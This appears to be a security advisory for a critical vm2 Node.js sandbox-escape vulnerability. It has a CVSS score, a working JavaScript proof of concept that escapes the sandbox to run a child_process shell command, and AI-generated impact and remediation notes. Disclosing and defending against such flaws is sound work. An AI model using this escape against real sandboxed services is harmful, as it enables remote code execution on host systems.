vm2 CVE-2026-43997
CRITICAL
GHSA-47x8-96vw-5wg6
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionNVD
Summary
It is possible to obtain the host Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.
Details
There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)
PoC
const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
const obj = {
[sym]: (depth, opt, inspect) => {
inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")();
},
valueOf: undefined,
constructor: undefined,
};
WebAssembly.compileStreaming(obj).catch(() => {});Impact
Sandbox Escape -> RCE
AnalysisAI
Remote code execution in vm2 Node.js sandbox library (versions ≤3.10.5) allows attackers to escape isolation and execute arbitrary system commands by exploiting incomplete host Object protections. Attackers leverage JavaScript prototype chain manipulation to obtain host-context symbols, enabling injection of malicious code into Node.js inspection routines. …
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RemediationAI
Within 24 hours: Identify all applications and services using vm2 ≤3.10.5 via dependency scanning (npm audit, SBOM analysis, and source code review). Determine if any systems are internet-facing or process untrusted code. …
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External POC / Exploit Code
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